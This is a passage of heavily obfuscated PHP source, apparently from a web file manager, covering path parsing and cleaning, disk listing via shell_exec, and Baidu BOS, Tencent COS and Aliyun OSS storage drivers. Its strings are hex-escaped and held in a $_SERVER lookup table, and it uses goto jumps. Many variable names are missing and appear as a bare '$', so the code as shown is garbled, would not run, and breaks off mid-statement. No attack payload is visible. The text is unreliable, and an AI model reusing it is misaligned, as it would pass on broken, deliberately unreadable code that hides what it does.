KOD_USER_FAV = "\x7b\165\x73\x65\162\106\141\x76\175"; const KOD_USER_FILE_TAG = "\173\165\x73\x65\x72\106\x69\x6c\x65\x54\141\147\175"; const KOD_USER_FILE_TYPE = "\173\165\x73\x65\162\x46\151\154\x65\124\x79\160\145\175"; const KOD_GROUP_ROOT_SELF = "\x7b\x67\162\157\x75\x70\x52\157\x6f\x74\123\145\x6c\x66\175"; const KOD_USER_SHARE = "\x7b\165\x73\145\x72\x53\150\x61\162\145\x7d"; const KOD_USER_SHARE_LINK = "\x7b\x75\x73\x65\162\123\x68\141\x72\145\x4c\151\x6e\153\175"; const KOD_USER_SHARE_TO_ME = "\173\x73\x68\141\x72\x65\124\x6f\115\145\x7d"; const KOD_SHARE_ITEM = "\173\163\x68\141\x72\145\x49\x74\x65\x6d\x7d"; const KOD_SHARE_LINK = "\173\x73\x68\x61\162\145\x49\x74\x65\x6d\114\x69\x6e\x6b\175"; const KOD_SEARCH = "\173\163\145\x61\x72\x63\x68\x7d"; const KOD_BLOCK = "\x7b\142\x6c\157\x63\x6b\x7d"; const KOD_IO = "\x7b\x69\157\x7d"; const KOD_USER_RECENT = "\173\x75\163\145\x72\122\145\156\143\x65\156\x74\175"; const KOD_USER_DRIVER = "\x7b\x64\162\151\x76\145\x72\175"; public static function typeList() { $ބߐ =& $_SERVER[ձК]; return array($ބߐ[1338] => self::KOD_SOURCE, $ބߐ[1339] => self::KOD_USER_RECYCLE, $ބߐ[1340] => self::KOD_USER_FAV, $ބߐ[1341] => self::KOD_USER_FILE_TAG, $ބߐ[1342] => self::KOD_USER_FILE_TYPE, $ބߐ[1343] => self::KOD_GROUP_ROOT_SELF, $ބߐ[1344] => self::KOD_USER_SHARE, $ބߐ[1345] => self::KOD_USER_SHARE_LINK, $ބߐ[1346] => self::KOD_USER_SHARE_TO_ME, $ބߐ[1347] => self::KOD_SHARE_ITEM, $ބߐ[1348] => self::KOD_SHARE_LINK, $ބߐ[1349] => self::KOD_SEARCH, $ބߐ[1350] => self::KOD_BLOCK, $ބߐ[1351] => self::KOD_IO, $ބߐ[1352] => self::KOD_USER_RECENT, $ބߐ[1353] => self::KOD_USER_DRIVER); } public static function parse($Ȩ) { $ﳥ =& $_SERVER[ձК]; $Ȩ = self::clear($Ȩ); $îӣ = array_values(self::typeList()); preg_match($ﳥ[1354], $Ȩ, $); $껆 = array($ﳥ[498] => !1, $ﳥ[1355] => !1, $ﳥ[495] => !1, $ﳥ[87] => $Ȩ, $ﳥ[1253] => !1, $ﳥ[1252] => $ﳥ[12]); if (is_array($) && count($) == 5) { $ = $ﳥ[1356] . $[2] . $ﳥ[404]; if (in_array($, $îӣ)) { $껆[$ﳥ[1253]] = $[1]; $껆[$ﳥ[33]] = $; $껆[$ﳥ[1357]] = substr($, 1, -1); $껆[$ﳥ[477]] = $[3]; } $껆[$ﳥ[1252]] = $[4]; } $ҽ = array($ﳥ[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $껆[$ﳥ[1320]] = in_array($껆[$ﳥ[33]], $ҽ); return $껆; } public static function isTruePath($˩) { $م =& $_SERVER[ձК]; if (substr($˩, 0, 1) != $م[1356]) { return !0; } if (strpos($˩, $م[485]) === 0) { return !0; } if (strpos($˩, $م[1324]) === 0) { return !0; } if (strpos($˩, $م[1358]) === 0) { return !0; } if (strpos($˩, $م[1359]) === 0) { return !0; } if (strpos($˩, $م[1360]) === 0) { return !0; } return !1; } public static function clear($⽀) { $̸ =& $_SERVER[ձК]; $⽀ = str_replace(array($̸[1158], $̸[287]), $̸[53], $⽀); $⽀ = str_replace($̸[100], $̸[8], $⽀); $ږ = $̸[1361]; if (substr($⽀, 0, 3) == $̸[1362]) { $⽀ = substr($⽀, 3); } while (strstr($⽀, $ږ)) { $⽀ = str_replace($ږ, $̸[8], $⽀); } $⽀ = preg_replace($̸[1363], $̸[8], $⽀); if ($⽀ == $̸[8]) { return $̸[8]; } $⽀ = rtrim($⽀, $̸[8]); return $⽀; } public static function pathTrue($Ϥ) { $ =& $_SERVER[ձК]; if (!$Ϥ) { return $[12]; } $Ϥ = str_replace($[256], $[8], str_replace($[1364], $[8], $Ϥ)); $Ϥ = str_replace($[256], $[8], str_replace($[1364], $[8], $Ϥ)); if (!strstr($Ϥ, $[1362])) { return $Ϥ; } $ɝ = explode($[8], $Ϥ); foreach ($ɝ as $ => $) { if ($ !== $[1365]) { continue; } for ($ = $; $ >= 0; $--) { if ($ɝ[$] === $[10] || $ɝ[$] === $[1365] || $ɝ[$] === -1) { continue; } if ($ɝ[$] === $[12]) { $ɝ[$] = -1; break; } $ɝ[$] = -1; $ɝ[$] = -1; break; } } $¬˙ = array(); foreach ($ɝ as $) { if ($ !== -1) { $¬˙[] = $; } } $ = implode($[8], $¬˙); if (strpos($, $[1366]) === 0) { $ = $[1362] . substr($, strlen($[1366])); } return $; } public static function pathUrlClear($) { $쨴 =& $_SERVER[ձК]; if (!$) { return $; } $ = rawurldecode($); $ = str_replace($쨴[1364], $쨴[8], $); if (strpos($, $쨴[76]) > 0) { $ = substr($, 0, strpos($, $쨴[76])); } if (strpos($, $쨴[1367]) > 0) { $ = substr($, 0, strpos($, $쨴[1367])); } return $; } public static function sourceID($ڜ) { $䩧 =& $_SERVER[ձК]; $ʗþ = self::parse($ڜ); if ($ʗþ[$䩧[33]] !== self::KOD_SOURCE) { show_json(LNG($䩧[1368]), !1); } return $ʗþ[$䩧[477]]; } public static function make($܍) { if (!$܍) { return !1; } return self::makePath(self::KOD_SOURCE, intval($܍)); } public static function makeShare($ݙ, $) { return self::makePath(self::KOD_SHARE_ITEM, $ݙ, $); } public static function makeFileTypePath($ȴ) { return self::makePath(self::KOD_USER_FILE_TYPE, $ȴ); } public static function makeFileTagPath($) { return self::makePath(self::KOD_USER_FILE_TAG, $); } public static function makePath($, $ŏ = '', $Ͷ = '') { $ܔ =& $_SERVER[ձК]; $Ë = substr($, 1, -1); $ꃔ薍 = $ܔ[1369] . $Ë . $ܔ[1370] . $ŏ . $ܔ[1371]; $ꃔ薍 = $Ͷ ? $ꃔ薍 . $Ͷ . $ܔ[8] : $ꃔ薍; return $ꃔ薍; } public static function hashPath($ʽ, $ = true) { $ʂ =& $_SERVER[ձК]; $ؼ = is_array($ʽ) ? $ʽ : IO::info($ʽ); $ = _get($ؼ, $ʂ[1372], $ʂ[12]); if (!$ && isset($ؼ[$ʂ[237]])) { $ = trim($ؼ[$ʂ[237]], $ʂ[121]); } if (!$ && isset($ؼ[$ʂ[193]]) && $ؼ[$ʂ[193]]) { $ؼ = IO::info(KodIO::make($ؼ[$ʂ[193]])); $ = _get($ؼ, $ʂ[1372], $ʂ[12]); } $ = md5($ؼ[$ʂ[87]] . $ؼ[$ʂ[79]] . $ؼ[$ʂ[88]]); if (!$ && file_exists($ؼ[$ʂ[87]])) { $ = Cache::get($ . $ʂ[1373]); $ = !1; if (!$) { $ = IO::hashSimple($ؼ[$ʂ[87]]); Cache::set($ . $ʂ[1373], $, 3600 * 24 * 30); } } if ($ && !$) { } return $ ? $ : $; } public static function hashPathSafe($, $ = true) { $ٔ =& $_SERVER[ձК]; $ = self::hashPath($, $); return md5($ . $ٔ[1374] . Model($ٔ[844])->get($ٔ[845])); } public static function initSystemPath() { $ =& $_SERVER[ձК]; if (defined($[1375])) { return; } define($[1375], self::systemPath($[191])); define($[1376], self::systemPath($[1377])); define($[1378], self::systemPath($[1379])); define($[1380], self::systemPath($[1381])); IOHistory::bindEvent(); } public static function systemPath($ǵ) { $ =& $_SERVER[ձК]; $Π = $[1382] . ucfirst($ǵ); $Ÿ = Model($[844])->get($Π); if ($Ÿ) { return $Ÿ; } if ($ǵ == $[191]) { $Ÿ = self::make(Model($[899])->systemRootPathAdd($[610])); } else { $Ÿ = self::systemPath($[191]); $䘕 = self::sourceID($Ÿ); $Ÿ = self::make(Model($[899])->mkdir($䘕, $ǵ)); } Model($[844])->set($Π, $Ÿ); return $Ÿ; } public static function systemFolder($ѿҽ) { $ᰫ = IO_PATH_SYSTEM_SOURCE . $ѿҽ; $ٱ = Cache::get($ᰫ); if (!$ٱ) { $ = IO::infoFullSimple($ᰫ); if (!$) { $ٱ = IO::mkdir($ᰫ, REPEAT_SKIP); } else { $ٱ = $[$_SERVER[ձК][87]]; } Cache::set($ᰫ, $ٱ, 3600 * 10); } return $ٱ; } public static function defaultDriver() { return Model($_SERVER[ձК][841])->defaultDriver(); } public static function defaultIO() { $Ѝ =& $_SERVER[ձК]; $爝 = self::defaultDriver(); return $Ѝ[1383] . $爝[$Ѝ[477]] . $Ѝ[1371]; } public static function defaultDriverInit() { static $ = false; if ($) { return $; } $ = IO::init(self::defaultIO()); return $; } public static function fileTypeList() { $Ȋ =& $_SERVER[ձК]; $އ = $GLOBALS[$Ȋ[6]][$Ȋ[1384]]; foreach ($އ as $ => $ά) { $ = $Ȋ[1385] . $; $Ƭ = LNG($); if ($ != $Ƭ) { $އ[$][$Ȋ[32]] = $Ƭ; } } return $އ; } public static function diskList($ؽ = true) { $ۇ = $_SERVER[ձК][1386]; if ($ؽ) { $ = Cache::get($ۇ); if (is_array($)) { return $; } } $ = self::diskListGet(); Cache::set($ۇ, $, 60); return $; } public static function diskListGet() { $ =& $_SERVER[ձК]; $ = array(); if ($GLOBALS[$[6]][$[1387]] == $[1388]) { $ = $[1389]; for ($ = 0; $ < strlen($); $++) { $ǎ = $[$] . $[1390]; if (file_exists($ǎ)) { $[] = $ǎ; } } return $; } if (!function_exists($[101])) { $[] = $[910]; return $; } $㨚 = explode($[287], shell_exec($[1391])); array_shift($㨚); array_pop($㨚); $❿ = array($[1392], $[1393], $[1394], $[1395], $[1396], $[1397], $[1398], $[1399]); foreach ($㨚 as $ӆ) { $ = preg_split($[1400], $ӆ); $ǎ = $[count($) - 1]; if (!strstr($[0], $[1401]) || !$ǎ) { continue; } $ = rtrim($ǎ, $[8]) . $[8]; if (in_array($, $❿)) { continue; } $[] = $; } return $; } public static function isSameDisk($, $̘) { $ٵ =& $_SERVER[ձК]; if ($GLOBALS[$ٵ[6]][$ٵ[1387]] == $ٵ[1388]) { return strtolower(substr($, 0, 1)) == strtolower(substr($̘, 0, 1)); } $ = stat($); $ = stat($̘); if ($ === !1 || $ === !1) { return !1; } return $[$ٵ[1402]] === $[$ٵ[1402]]; $ = self::diskList(); $ = !1; $歉 = !1; sort($); $ = array_reverse($); $ = rtrim($, $ٵ[8]) . $ٵ[8]; $̘ = rtrim($̘, $ٵ[8]) . $ٵ[8]; foreach ($ as $ɝޠ) { $ʌ = strlen($ɝޠ); if (!$ && substr($, 0, $ʌ) == $ɝޠ) { $ = $ɝޠ; } if (!$歉 && substr($̘, 0, $ʌ) == $ɝޠ) { $歉 = $ɝޠ; } if ($ && $歉) { break; } } return $ === $歉; } public static function transferType($Ƚڲ, $舘) { $ =& $_SERVER[ձК]; $ŷ = self::driverType($Ƚڲ); $ = self::driverType($舘); if ($ŷ[$[33]] == $[$[33]] && $ŷ[$[1403]] == $[$[1403]]) { return $[1404]; } if ($ŷ[$[33]] == $[944] && $[$[33]] == $[109]) { return $[1281]; } if ($ŷ[$[33]] == $[109] && $[$[33]] == $[944]) { return $[110]; } return $[1405]; } public static function driverType($ޤ) { $ص =& $_SERVER[ձК]; $͊ = str_replace($ص[1406], $ص[12], strtolower($ޤ->getType())); if ($͊ == $ص[831] || $͊ == $ص[1407] || $͊ == $ص[1408]) { $ޤ = self::defaultDriverInit(); } else { if ($͊ == $ص[1291] || $͊ == $ص[1409]) { $ޤ = IO::init($ޤ->pathParse[$ص[1234]]); } } $Ɍ = $ޤ->path; $͊ = str_replace($ص[1406], $ص[12], strtolower($ޤ->getType())); if ($͊ == $ص[109]) { return array($ص[33] => $ص[109], $ص[1403] => $ص[12], $ص[87] => $Ɍ, $ص[98] => $ޤ); } return array($ص[33] => $ص[944], $ص[1403] => $ޤ->pathDriver, $ص[87] => $Ɍ, $ص[98] => $ޤ); } public static function pathDriverType($ݟ) { return $ݟ ? self::driverType(IO::init($ݟ)) : !1; } public static function pathDriverLocal($) { $ =& $_SERVER[ձК]; $ԣ = $ ? self::driverType(IO::init($)) : !1; return strtolower($ԣ[$[33]]) == $[109] ? !0 : !1; } public static function allowCover($, $é = true) { $ =& $_SERVER[ձК]; if (is_string($)) { $ = IO::info($); } if (!$ || $[$[33]] == $[78] || $[$[79]] <= 100) { return !1; } if (isset($[$[1410]]) || !$[$[87]]) { return !1; } if (isset($[$[234]]) && !$[$[234]]) { return !1; } static $诣 = false; if (!$诣 || !$é) { $ = self::driverType(IO::init($[$[87]])); $È = $[$[98]]; $诣 = $[196]; if ($[$[33]] == $[109]) { $诣 = $[1411]; } if ($[$[98]] && is_array($[$[98]]->config)) { $哪 = $[$[98]]->config; if (isset($哪[$[1412]]) && $哪[$[1412]]) { $诣 = $[1411]; } } $ = KodIO::defaultDriver(); if (strtolower($[$[98]]) == $[109] && is_array($[$[6]])) { $ = $[$[6]][$[1264]]; if (substr($, 0, 2) == $[1413]) { $ = str_replace($[1413], BASIC_PATH, $); } $ = str_replace($[256], $[8], $); if (substr($[$[87]], 0, strlen($)) == $) { $诣 = $[196]; } } } return $诣 == $[1411] ? !0 : !1; } } class PathDriverBOS extends PathDriverS3 { public function __construct($) { parent::__construct($); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function fileOutLink($ۇ) { $ޝ =& $_SERVER[ձК]; if (substr($ۇ, 0, 7) == $ޝ[218]) { $ۇ = $ޝ[219] . substr($ۇ, 7); } header($ޝ[175] . $ۇ); die; } } class PathDriverCOS extends PathDriverBaseS3 { public function __construct($ڿ) { parent::__construct($ڿ); $this->setSignVersion($_SERVER[ձК][249]); } public function uploadFormData($̸, $ϱ = 3600) { $ɏ =& $_SERVER[ձК]; $ = $ɏ[231]; $ = $ɏ[1414]; $Ϻ = $ɏ[263]; $Ұ = gmdate($ɏ[1415], time() + $ϱ); $Γ = (string) time() . $ɏ[74] . (string) (time() + $ϱ); $˥ʋ = array($ɏ[264] => $Ұ, $ɏ[267] => array(array($ɏ[308] => $), array($ɏ[268] => $this->bucket), array($ɏ[269], $ɏ[270], $ɏ[12]), array($ɏ[272] => $Ϻ), array($ɏ[1416] => $), array($ɏ[1417] => $this->accessKey), array($ɏ[1418] => $Γ))); $˥ʋ = json_encode($˥ʋ); $ = hash_hmac($ɏ[1414], $Γ, $this->secret); $윪 = sha1($˥ʋ); $ = hash_hmac($ɏ[1414], $윪, $); $ = array($ɏ[308] => $, $ɏ[272] => $Ϻ, $ɏ[279] => base64_encode($˥ʋ), $ɏ[1416] => $, $ɏ[1417] => $this->accessKey, $ɏ[1419] => $Γ, $ɏ[1420] => $, $ɏ[208] => $this->getHost()); return $; } public function fileOutImage($, $ś = 250) { $ݛ =& $_SERVER[ձК]; if ($this->size($) > 1024 * 1024 * 32) { return $this->fileOutImageServer($, $ś); } $ޑŅ = $this->link($); $ޑŅ .= $ݛ[1421] . $ś . $ݛ[1422]; $this->fileOutLink($ޑŅ); } public function fileOutLink($) { $嵐 =& $_SERVER[ձК]; if (substr($, 0, 7) == $嵐[218]) { $ = $嵐[219] . substr($, 7); } header($嵐[175] . $); die; } } goto Aૄ; f͗ѭ: class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public $cdnHost = ''; public $config = array(); public function __construct($) { parent::__construct(); include_once SDK_DIR . $_SERVER[ձК][1465]; $this->_init($); } public function _init($) { $ =& $_SERVER[ձК]; $this->config = $; foreach ($ as $ => $֩鲩) { if (isset($this->{$})) { $this->{$} = $֩鲩; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1466] . LNG($[1467])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $с =& $_SERVER[ձК]; $ǒ = new OSS\Model\CorsConfig(); $ = new OSS\Model\CorsRule(); $->addAllowedOrigin($с[1468]); $->addAllowedMethod($с[1469]); $->addAllowedMethod($с[1470]); $->addAllowedMethod($с[1471]); $->addAllowedMethod($с[1472]); $->addAllowedMethod($с[165]); $->setMaxAgeSeconds(600); $->addExposeHeader($с[1473]); $->addAllowedHeader($с[1468]); $ǒ->addRule($); try { $this->client->putBucketCors($this->bucket, $ǒ); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $с[214] . $->getMessage()); return !1; } return !0; } public function getBucketCors() { $ύ =& $_SERVER[ձК]; $ŭ = null; try { $ŭ = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $Ĉۍ) { $this->writeLog(__FUNCTION__ . $ύ[214] . $Ĉۍ->getMessage()); return null; } if (!$ŭ || !($Ƅ = $ŭ->getRules())) { return null; } $ = $Ƅ[0]->getAllowedOrigins(); $҂ = $Ƅ[0]->getAllowedMethods(); $ԙ = $Ƅ[0]->getMaxAgeSeconds(); $ = $Ƅ[0]->getExposeHeaders(); $т = $Ƅ[0]->getAllowedHeaders(); return array($ύ[220] => isset($[0]) ? $[0] : $ύ[12], $ύ[224] => $҂, $ύ[1474] => $ԙ, $ύ[1475] => isset($[0]) ? $[0] : $ύ[12], $ύ[221] => isset($т[0]) ? $т[0] : $ύ[12]); } public function isBucketCors() { $ =& $_SERVER[ձК]; $攏 = $this->getBucketCors(); if (!$攏 || !is_array($攏)) { return !1; } if ($攏[$[220]] != $[222] || $攏[$[221]] != $[222]) { return !1; } $م = array_map($[223], $攏[$[224]]); if (!is_array($م)) { $م = array(); } $̋ = array($[225], $[226], $[227], $[228], $[229]); $ = array_diff($̋, $م); return empty($); } public function mkfile($, $ = '', $븂 = REPEAT_RENAME) { $ = $this->setContent($, $); if ($ !== !1) { return $this->getPathOuter($); } return !1; } public function mkdir($㷈, $åک = REPEAT_SKIP) { if ($åک && $this->_isFolder($㷈)) { return $this->getPathOuter($㷈); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($㷈)); } catch (OSS\Core\OssException $굡奴) { $this->writeLog(__FUNCTION__ . $_SERVER[ձК][214] . $굡奴->getMessage()); return !1; } return $this->getPathOuter($㷈); } private function fileList($ϰ, $٧ = '', $ = 0) { $٤֤ =& $_SERVER[ձК]; $ϰ = trim($ϰ, $٤֤[8]); $ = empty($ϰ) && $ϰ !== $٤֤[230] ? $٤֤[12] : $ϰ . $٤֤[8]; $Ǒ = $٤֤[12]; $ = 1000; $ = $ն = array(); while (!0) { check_abort(); $린 = array($٤֤[1476] => $٧, $٤֤[1477] => $, $٤֤[1478] => $, $٤֤[1479] => $Ǒ); try { $͊ = $this->client->listObjects($this->bucket, $린); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $٤֤[214] . $->getMessage()); break; } $Ǒ = $͊->getNextMarker(); $ = $͊->getObjectList(); $ = $͊->getPrefixList(); foreach ($ as $) { if ($->getKey() == $) { continue; } $ = $->getKey(); $Υ = $->getSize(); $ = $->getLastModified(); $ = trim($->getETag(), $٤֤[121]); $嚋 = $ ? array($٤֤[32] => $, $٤֤[79] => $Υ, $٤֤[206] => strtotime($), $٤֤[1480] => $) : $; $ڏ = $Υ == 0 && substr($, strlen($) - 1, 1) == $٤֤[8] ? !0 : !1; $ = array($٤֤[79] => $Υ, $٤֤[1481] => $Υ, $٤֤[88] => strtotime($), $٤֤[1482] => $, $٤֤[1480] => $); $this->cacheMethodInfoSet($, $ڏ, $); if ($ڏ) { $[] = $; continue; } $ն[] = $嚋; } foreach ($ as $̎) { $[] = $̎->getPrefix(); $this->cacheMethodInfoSet($̎->getPrefix(), !0); } if ($Ǒ === $٤֤[12]) { break; } } $this->cacheMethodInfoSet($ϰ, !0); return array($٤֤[85] => $, $٤֤[86] => $ն); } public function listObject($ؤ, $ = '') { $сָ =& $_SERVER[ձК]; $ؤ = trim($ؤ, $сָ[8]); $ = empty($ؤ) && $ؤ !== $сָ[230] ? $сָ[12] : $ؤ . $сָ[8]; $ = $сָ[12]; $Զ = 1000; $ۗ = $褹 = array(); while (!0) { check_abort(); $ = array($сָ[1476] => $, $сָ[1477] => $, $сָ[1478] => $Զ, $сָ[1479] => $); try { $捨 = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $сָ[214] . $->getMessage()); break; } $ = $捨->getNextMarker(); $ = $捨->getObjectList(); foreach ($ as $س) { if ($س->getKey() == $) { continue; } $ = $س->getKey(); $鈳 = $س->getSize(); $η = $鈳 == 0 && substr($, strlen($) - 1, 1) == $сָ[8] ? !0 : !1; if ($η) { continue; } $褹[] = $鈳 . $сָ[214] . $; } if ($ === $сָ[12]) { break; } } return array($сָ[85] => $ۗ, $сָ[86] => $褹); } public function copyFile($ߦ, $ƞ) { $ = $this->size($ߦ); if ($ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $ߦ, $this->bucket, $this->pathEncode($ƞ)); } catch (OSS\Core\OssException $Ű) { $this->writeLog(__FUNCTION__ . $_SERVER[ձК][214] . $Ű->getMessage()); return !1; } return $this->getPathOuter($ƞ); } $蹂 = $this->multiCopyObject($ߦ, $ƞ, $); return $蹂 ? $this->getPathOuter($ƞ) : !1; } private function multiCopyObject($͂, $ιԙ, $) { $ =& $_SERVER[ձК]; try { $ = array(); if ($ = $this->hashMd5($͂)) { $ = array(OSS\OssClient::OSS_HEADERS => array($[1483] => $)); } $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($ιԙ), $); $с = 1; $ = 0; $Ӗ = array(); $ږ = 1024 * 1024 * 10; $ݗٵ = $this->client->generateMultiuploadParts($, $ږ); foreach ($ݗٵ as $ם => $) { $͜ = $ + (int) $[$[1484]]; $ө = (int) $[$[414]] + $͜ - 1; $߇ = array($[167] => $͜, $[168] => $ө); $Ӗ[] = $this->client->uploadPartCopy($this->bucket, $͂, $this->bucket, $this->pathEncode($ιԙ), $с, $, $߇); $с = $с + 1; } $Щ = array(); foreach ($Ӗ as $ם => $) { $Щ[] = array($[299] => $ם + 1, $[300] => $); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($ιԙ), $, $Щ); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1; } return !0; } public function moveFile($ˎ, $ߒ) { if ($this->copyFile($ˎ, $ߒ)) { $this->remove($ˎ); return $this->getPathOuter($ߒ); } return !1; } public function delFile($꿄) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($꿄)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[ձК][214] . $->getMessage()); return !1; } return !0; } public function delFolder($) { $鯹 =& $_SERVER[ձК]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $В = $this->fileList($); $this->listItemCache = !0; $ = trim($, $鯹[8]) . $鯹[8]; if (!empty($) && $ !== $鯹[230] && !in_array($, $В[$鯹[85]])) { $В[$鯹[85]][] = $; } $ߴ = $this->delByBatch($В[$鯹[86]]); if (!$ߴ) { return !1; } $ߴ = $this->delByBatch($В[$鯹[85]]); if (!$ߴ) { return !1; } return $this->delFile($); } private function delByBatch($ֻ) { foreach (array_chunk($ֻ, 1000) as $ܗ) { try { $this->client->deleteObjects($this->bucket, $ܗ); } catch (OSS\Core\OssException $됀) { $this->writeLog(__FUNCTION__ . $_SERVER[ձК][214] . $됀->getMessage()); return !1; } } return !0; } public function rename($΅϶, $) { return $this->renameObject($΅϶, $); } private function fileInfo($, $ = false, $̠ = array()) { $ؚ =& $_SERVER[ձК]; $ = array($ؚ[32] => $this->pathThis($), $ؚ[87] => $this->getPathOuter($), $ؚ[33] => $ؚ[232], $ؚ[79] => isset($̠[$ؚ[79]]) ? $̠[$ؚ[79]] : 0, $ؚ[169] => $this->ext($)); if ($) { return $; } $[$ؚ[233]] = $[$ؚ[88]] = 0; $[$ؚ[234]] = $[$ؚ[235]] = !0; if (empty($̠)) { $ = $this->objectMeta($); if (!$) { return $; } $̠ = array($ؚ[88] => strtotime($[$ؚ[1482]]), $ؚ[79] => $[$ؚ[1481]] + 0, $ؚ[1480] => $[$ؚ[1480]]); } if (isset($̠[$ؚ[1480]]) && $̠[$ؚ[1480]]) { $[$ؚ[237]] = trim($̠[$ؚ[1480]], $ؚ[121]); } if (isset($̠[$ؚ[79]])) { $[$ؚ[79]] = $̠[$ؚ[79]]; } if (isset($̠[$ؚ[88]])) { $[$ؚ[88]] = $̠[$ؚ[88]]; } if (isset($̠[$ؚ[206]]) && !trim($[$ؚ[88]])) { $[$ؚ[88]] = $̠[$ؚ[206]]; } return $; } private function folderInfo($ܭ, $υ = false, $ㄴ = array()) { $լ =& $_SERVER[ձК]; $ǩƮ = array($լ[32] => $this->pathThis($ܭ), $լ[87] => $this->getPathOuter($լ[8] . $ܭ), $լ[33] => $լ[78]); if ($υ) { return $ǩƮ; } $ǩƮ[$լ[233]] = $ǩƮ[$լ[88]] = 0; $ǩƮ[$լ[234]] = $ǩƮ[$լ[235]] = !0; if (empty($ㄴ)) { $ܭ = rtrim($ܭ, $լ[8]) . $լ[8]; $ = $this->objectMeta($ܭ); if (!$) { return $ǩƮ; } $ㄴ = array($լ[233] => $[$լ[577]][$լ[1485]], $լ[88] => strtotime($[$լ[1482]])); } if (isset($ㄴ[$լ[88]])) { $ǩƮ[$լ[88]] = $ㄴ[$լ[88]]; } if (isset($ㄴ[$լ[233]])) { $ǩƮ[$լ[233]] = $ㄴ[$լ[233]]; } return $ǩƮ; } public function listPath($ڪ, $۰ = false) { $ =& $_SERVER[ձК]; $뙼 = $this->fileList($ڪ, $[8], !0); foreach ($뙼[$[85]] as $ => $ƴ) { $뙼[$[85]][$] = $this->folderInfo($ƴ, $۰, $ƴ); } foreach ($뙼[$[86]] as $ => $ƴ) { $뙼[$[86]][$] = $this->fileInfo($ƴ[$[32]], $۰, $ƴ); } return $뙼; } protected function infoChildren($, &$) { $ո =& $_SERVER[ձК]; $ƍȍ = $this->fileList($, $ո[12], !0); $[$ո[81]] += count($ƍȍ[$ո[85]]); $[$ո[80]] += count($ƍȍ[$ո[86]]); foreach ($ƍȍ[$ո[86]] as $Ż) { if (!$Ż || !$Ż[$ո[79]]) { continue; } $[$ո[79]] += $Ż[$ո[79]]; } } public function has($, $ǘIJ = false, $Ծ = true) { $乛 =& $_SERVER[ձК]; $ = trim($, $乛[8]); $ũ = empty($) && $ !== $乛[230] ? $乛[12] : $ . $乛[8]; $ = $乛[12]; $ = 500; $ = $ = 0; while (!0) { check_abort(); $ = array($乛[1476] => $乛[8], $乛[1477] => $ũ, $乛[1478] => $, $乛[1479] => $); try { $ⱝ = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $©) { $this->writeLog(__FUNCTION__ . $乛[214] . $©->getMessage()); break; } $ = $ⱝ->getNextMarker(); $۠ = $ⱝ->getObjectList(); $ = $ⱝ->getPrefixList(); if ($ǘIJ) { if (count($۠) > 1 || count($۠) == 1 && $۠[0]->getKey() != $ũ) { $ += count($۠) - 1; } if (!empty($)) { $ += count($); } if ($ === $乛[12]) { break; } continue; } if ($Ծ) { if (!empty($۠)) { if (count($۠) > 1 || $۠[0]->getKey() != $ũ) { return !0; } } } else { if (!empty($)) { return !0; } } if ($ === $乛[12]) { break; } } if ($ǘIJ) { return array($乛[241] => $, $乛[242] => $); } return !1; } public function listAll($ꄡ) { $ =& $_SERVER[ձК]; $̀ = $this->fileList($ꄡ, $[12], !0); $ = array_to_keyvalue($̀[$[86]], $[32]); foreach ($̀[$[85]] as $Ф) { if (is_string($Ф)) { $[$Ф] = array($[79] => 0); } } return $this->listAllFiles($ꄡ, $); } public function canRead($ԞՋ) { $Դ =& $_SERVER[ձК]; $ = $this->pathAcl($ԞՋ); return $ == $Դ[1486] || $ == $Դ[624] ? !0 : !1; } public function canWrite($â) { $މǵ = $this->pathAcl($â); return $މǵ == $_SERVER[ձК][624] ? !0 : !1; } public function pathAcl($Ǩ) { $Ίء =& $_SERVER[ձК]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $ܟ٨ = $this->client->getObjectAcl($this->bucket, $this->pathEncode($Ǩ)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $Ίء[214] . $->getMessage()); return !1; } $ = $ܟ٨ == $Ίء[37] ? $this->bucketAcl : $ܟ٨; if ($ == $Ίء[1487]) { return $Ίء[1486]; } if ($ == $Ίء[1488]) { return $Ίء[624]; } return $; } private function chmodPath($, $ں = '') { $ =& $_SERVER[ձК]; $߮ = empty($ں) ? $[1488] : $ں; $ = array($[37], $[231], $[1487], $[1488]); if (!in_array($߮, $)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($), $߮); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1; } return !0; } public function getContent($ę) { return $this->fileSubstr($ę, -1); } public function setContent($, $ѥ = '') { $ =& $_SERVER[ձК]; try { $ = $this->trafficLimit($[1489]); $ = $this->client->putObject($this->bucket, $this->pathEncode($), $ѥ, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1; } $ = array($[1483] => trim($[$[1480]], $[121]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $this->updateObjMeta($, $); return isset($[$[1490]][$[296]]) ? !0 : !1; } private function updateObjMeta($Ġ, $̉) { $Ġ = $this->pathEncode($Ġ); try { $ = 